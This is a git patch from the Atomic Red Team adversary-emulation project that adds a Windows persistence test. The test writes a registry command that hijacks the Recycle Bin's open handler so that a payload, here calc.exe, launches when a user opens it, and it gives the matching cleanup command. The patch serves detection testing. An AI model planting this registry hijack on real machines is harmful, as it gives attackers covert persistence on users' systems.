From 3947bbc2a51e91ee359dd161756234e5cb09eafa Mon Sep 17 00:00:00 2001 From: CircleCI Atomic Red Team doc generator Date: Mon, 14 Mar 2022 17:41:32 +0000 Subject: [PATCH] Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] --- atomics/Indexes/Indexes-CSV/index.csv | 2 ++ atomics/Indexes/Indexes-CSV/windows-index.csv | 2 ++ atomics/Indexes/Indexes-Markdown/index.md | 2 ++ .../Indexes/Indexes-Markdown/windows-index.md | 2 ++ atomics/Indexes/index.yaml | 26 ++++++++++++++ atomics/T1547.001/T1547.001.md | 35 +++++++++++++++++++ 6 files changed, 69 insertions(+) diff --git a/atomics/Indexes/Indexes-CSV/index.csv b/atomics/Indexes/Indexes-CSV/index.csv index e8436c52..385e6757 100644 --- a/atomics/Indexes/Indexes-CSV/index.csv +++ b/atomics/Indexes/Indexes-CSV/index.csv @@ -240,6 +240,7 @@ privilege-escalation,T1547.001,Registry Run Keys / Startup Folder,4,Suspicious v privilege-escalation,T1547.001,Registry Run Keys / Startup Folder,5,Suspicious jse file run from startup Folder,dade9447-791e-4c8f-b04b-3a35855dfa06,powershell privilege-escalation,T1547.001,Registry Run Keys / Startup Folder,6,Suspicious bat file run from startup Folder,5b6768e4-44d2-44f0-89da-a01d1430fd5e,powershell privilege-escalation,T1547.001,Registry Run Keys / Startup Folder,7,Add Executable Shortcut Link to User Startup Folder,24e55612-85f6-4bd6-ae74-a73d02e3441d,powershell +privilege-escalation,T1547.001,Registry Run Keys / Startup Folder,8,Add persistance via Recycle bin,bda6a3d6-7aa7-4e89-908b-306772e9662f,command_prompt privilege-escalation,T1053.005,Scheduled Task,1,Scheduled Task Startup Script,fec27f65-db86-4c2d-b66c-61945aee87c2,command_prompt privilege-escalation,T1053.005,Scheduled Task,2,Scheduled task Local,42f53695-ad4a-4546-abb6-7d837f644a71,command_prompt privilege-escalation,T1053.005,Scheduled Task,3,Scheduled task Remote,2e5eac3e-327b-4a88-a0c0-c4057039a8dd,command_prompt @@ -699,6 +700,7 @@ persistence,T1547.001,Registry Run Keys / Startup Folder,4,Suspicious vbs file r persistence,T1547.001,Registry Run Keys / Startup Folder,5,Suspicious jse file run from startup Folder,dade9447-791e-4c8f-b04b-3a35855dfa06,powershell persistence,T1547.001,Registry Run Keys / Startup Folder,6,Suspicious bat file run from startup Folder,5b6768e4-44d2-44f0-89da-a01d1430fd5e,powershell persistence,T1547.001,Registry Run Keys / Startup Folder,7,Add Executable Shortcut Link to User Startup Folder,24e55612-85f6-4bd6-ae74-a73d02e3441d,powershell +persistence,T1547.001,Registry Run Keys / Startup Folder,8,Add persistance via Recycle bin,bda6a3d6-7aa7-4e89-908b-306772e9662f,command_prompt persistence,T1098.004,SSH Authorized Keys,1,Modify SSH Authorized Keys,342cc723-127c-4d3a-8292-9c0c6b4ecadc,bash persistence,T1053.005,Scheduled Task,1,Scheduled Task Startup Script,fec27f65-db86-4c2d-b66c-61945aee87c2,command_prompt persistence,T1053.005,Scheduled Task,2,Scheduled task Local,42f53695-ad4a-4546-abb6-7d837f644a71,command_prompt diff --git a/atomics/Indexes/Indexes-CSV/windows-index.csv b/atomics/Indexes/Indexes-CSV/windows-index.csv index e18fe94d..d1c3e403 100644 --- a/atomics/Indexes/Indexes-CSV/windows-index.csv +++ b/atomics/Indexes/Indexes-CSV/windows-index.csv @@ -161,6 +161,7 @@ privilege-escalation,T1547.001,Registry Run Keys / Startup Folder,4,Suspicious v privilege-escalation,T1547.001,Registry Run Keys / Startup Folder,5,Suspicious jse file run from startup Folder,dade9447-791e-4c8f-b04b-3a35855dfa06,powershell privilege-escalation,T1547.001,Registry Run Keys / Startup Folder,6,Suspicious bat file run from startup Folder,5b6768e4-44d2-44f0-89da-a01d1430fd5e,powershell privilege-escalation,T1547.001,Registry Run Keys / Startup Folder,7,Add Executable Shortcut Link to User Startup Folder,24e55612-85f6-4bd6-ae74-a73d02e3441d,powershell +privilege-escalation,T1547.001,Registry Run Keys / Startup Folder,8,Add persistance via Recycle bin,bda6a3d6-7aa7-4e89-908b-306772e9662f,command_prompt privilege-escalation,T1053.005,Scheduled Task,1,Scheduled Task Startup Script,fec27f65-db86-4c2d-b66c-61945aee87c2,command_prompt privilege-escalation,T1053.005,Scheduled Task,2,Scheduled task Local,42f53695-ad4a-4546-abb6-7d837f644a71,command_prompt privilege-escalation,T1053.005,Scheduled Task,3,Scheduled task Remote,2e5eac3e-327b-4a88-a0c0-c4057039a8dd,command_prompt @@ -469,6 +470,7 @@ persistence,T1547.001,Registry Run Keys / Startup Folder,4,Suspicious vbs file r persistence,T1547.001,Registry Run Keys / Startup Folder,5,Suspicious jse file run from startup Folder,dade9447-791e-4c8f-b04b-3a35855dfa06,powershell persistence,T1547.001,Registry Run Keys / Startup Folder,6,Suspicious bat file run from startup Folder,5b6768e4-44d2-44f0-89da-a01d1430fd5e,powershell persistence,T1547.001,Registry Run Keys / Startup Folder,7,Add Executable Shortcut Link to User Startup Folder,24e55612-85f6-4bd6-ae74-a73d02e3441d,powershell +persistence,T1547.001,Registry Run Keys / Startup Folder,8,Add persistance via Recycle bin,bda6a3d6-7aa7-4e89-908b-306772e9662f,command_prompt persistence,T1053.005,Scheduled Task,1,Scheduled Task Startup Script,fec27f65-db86-4c2d-b66c-61945aee87c2,command_prompt persistence,T1053.005,Scheduled Task,2,Scheduled task Local,42f53695-ad4a-4546-abb6-7d837f644a71,command_prompt persistence,T1053.005,Scheduled Task,3,Scheduled task Remote,2e5eac3e-327b-4a88-a0c0-c4057039a8dd,command_prompt diff --git a/atomics/Indexes/Indexes-Markdown/index.md b/atomics/Indexes/Indexes-Markdown/index.md index e2170ff3..01541682 100644 --- a/atomics/Indexes/Indexes-Markdown/index.md +++ b/atomics/Indexes/Indexes-Markdown/index.md @@ -406,6 +406,7 @@ - Atomic Test #5: Suspicious jse file run from startup Folder [windows] - Atomic Test #6: Suspicious bat file run from startup Folder [windows] - Atomic Test #7: Add Executable Shortcut Link to User Startup Folder [windows] + - Atomic Test #8: Add persistance via Recycle bin [windows] - T1134.005 SID-History Injection [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) - [T1053.005 Scheduled Task](../../T1053.005/T1053.005.md) - Atomic Test #1: Scheduled Task Startup Script [windows] @@ -1134,6 +1135,7 @@ - Atomic Test #5: Suspicious jse file run from startup Folder [windows] - Atomic Test #6: Suspicious bat file run from startup Folder [windows] - Atomic Test #7: Add Executable Shortcut Link to User Startup Folder [windows] + - Atomic Test #8: Add persistance via Recycle bin [windows] - T1505.001 SQL Stored Procedures [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) - [T1098.004 SSH Authorized Keys](../../T1098.004/T1098.004.md) - Atomic Test #1: Modify SSH Authorized Keys [macos, linux] diff --git a/atomics/Indexes/Indexes-Markdown/windows-index.md b/atomics/Indexes/Indexes-Markdown/windows-index.md index bbea0278..af36968d 100644 --- a/atomics/Indexes/Indexes-Markdown/windows-index.md +++ b/atomics/Indexes/Indexes-Markdown/windows-index.md @@ -293,6 +293,7 @@ - Atomic Test #5: Suspicious jse file run from startup Folder [windows] - Atomic Test #6: Suspicious bat file run from startup Folder [windows] - Atomic Test #7: Add Executable Shortcut Link to User Startup Folder [windows] + - Atomic Test #8: Add persistance via Recycle bin [windows] - T1134.005 SID-History Injection [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) - [T1053.005 Scheduled Task](../../T1053.005/T1053.005.md) - Atomic Test #1: Scheduled Task Startup Script [windows] @@ -799,6 +800,7 @@ - Atomic Test #5: Suspicious jse file run from startup Folder [windows] - Atomic Test #6: Suspicious bat file run from startup Folder [windows] - Atomic Test #7: Add Executable Shortcut Link to User Startup Folder [windows] + - Atomic Test #8: Add persistance via Recycle bin [windows] - T1505.001 SQL Stored Procedures [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) - [T1053.005 Scheduled Task](../../T1053.005/T1053.005.md) - Atomic Test #1: Scheduled Task Startup Script [windows] diff --git a/atomics/Indexes/index.yaml b/atomics/Indexes/index.yaml index 89645b81..fc48a68d 100644 --- a/atomics/Indexes/index.yaml +++ b/atomics/Indexes/index.yaml @@ -18218,6 +18218,19 @@ privilege-escalation: Menu\Programs\Startup\calc_exe.lnk" -ErrorAction Ignore name: powershell elevation_required: true + - name: Add persistance via Recycle bin + auto_generated_guid: bda6a3d6-7aa7-4e89-908b-306772e9662f + description: | + Add a persistance via Recycle bin [vxunderground](https://github.com/vxunderground/VXUG-Papers/blob/main/The%20Persistence%20Series/Persistence%20via%20Recycle%20Bin/Persistence_via_Recycle_Bin.pdf) + User have to clic on the recycle bin to lauch the payload (here calc) + supported_platforms: + - windows + executor: + command: reg ADD "HKCR\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\shell\open\command" + /ve /d "calc.exe" /f + cleanup_command: reg DELETE "HKCR\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\shell\open" + /f + name: command_prompt T1134.005: technique: external_references: @@ -48923,6 +48936,19 @@ persistence: Menu\Programs\Startup\calc_exe.lnk" -ErrorAction Ignore name: powershell elevation_required: true + - name: Add persistance via Recycle bin + auto_generated_guid: bda6a3d6-7aa7-4e89-908b-306772e9662f + description: | + Add a persistance via Recycle bin [vxunderground](https://github.com/vxunderground/VXUG-Papers/blob/main/The%20Persistence%20Series/Persistence%20via%20Recycle%20Bin/Persistence_via_Recycle_Bin.pdf) + User have to clic on the recycle bin to lauch the payload (here calc) + supported_platforms: + - windows + executor: + command: reg ADD "HKCR\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\shell\open\command" + /ve /d "calc.exe" /f + cleanup_command: reg DELETE "HKCR\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\shell\open" + /f + name: command_prompt T1505.001: technique: external_references: diff --git a/atomics/T1547.001/T1547.001.md b/atomics/T1547.001/T1547.001.md index 8db87797..0d2a7137 100644 --- a/atomics/T1547.001/T1547.001.md +++ b/atomics/T1547.001/T1547.001.md @@ -56,6 +56,8 @@ Adversaries can use these configuration locations to execute malware, such as re - [Atomic Test #7 - Add Executable Shortcut Link to User Startup Folder](#atomic-test-7---add-executable-shortcut-link-to-user-startup-folder) +- [Atomic Test #8 - Add persistance via Recycle bin](#atomic-test-8---add-persistance-via-recycle-bin) +
@@ -326,4 +328,37 @@ Remove-Item "$home\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup +
+
+ +## Atomic Test #8 - Add persistance via Recycle bin +Add a persistance via Recycle bin [vxunderground](https://github.com/vxunderground/VXUG-Papers/blob/main/The%20Persistence%20Series/Persistence%20via%20Recycle%20Bin/Persistence_via_Recycle_Bin.pdf) +User have to clic on the recycle bin to lauch the payload (here calc) + +**Supported Platforms:** Windows + + +**auto_generated_guid:** bda6a3d6-7aa7-4e89-908b-306772e9662f + + + + + + +#### Attack Commands: Run with `command_prompt`! + + +```cmd +reg ADD "HKCR\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\shell\open\command" /ve /d "calc.exe" /f +``` + +#### Cleanup Commands: +```cmd +reg DELETE "HKCR\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\shell\open" /f +``` + + + + +